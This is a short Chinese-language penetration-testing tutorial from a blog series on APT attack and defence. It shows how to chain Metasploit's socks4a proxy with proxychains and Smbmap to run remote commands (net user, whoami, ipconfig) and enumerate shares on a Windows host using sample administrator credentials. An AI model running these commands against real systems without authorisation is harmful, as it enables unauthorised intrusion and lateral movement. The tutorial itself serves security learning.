专注APT攻击与防御

https://micropoor.blogspot.com/

Msf在配合其它框架攻击，可补充msf本身的不足以及强化攻击方式，优化攻击线路。本季

将会把msf与Smbmap结合攻击。弥补msf文件搜索以及文件内容搜索的不足。

项目地址：https://github.com/ShawnDEvans/smbmap

支持传递哈希

文件上传/下载/删除

可枚举（可写共享，配合Metasploit）

远程命令执行

支持文件内容搜索

支持文件名匹配（可以自动下载）

msf配合Smbmap攻击需要使用到sock4a模块

1 msf auxiliary(server/socks4a) > show options

该模块socks4a加入job

1 msf auxiliary(server/socks4a) > jobs

配置proxychains，做结合攻击铺垫。

1 root@John:/tmp# cat /etc/proxychains.conf

支持远程命令

1 root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'net user'

1 root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'whoami'

枚举目标机共享

1 root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐d ABC

1 root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'ipconfig'

Smbmap支持IP段的共享枚举，当然Smbmap还有更多强大的功能等待探索。

Micropoor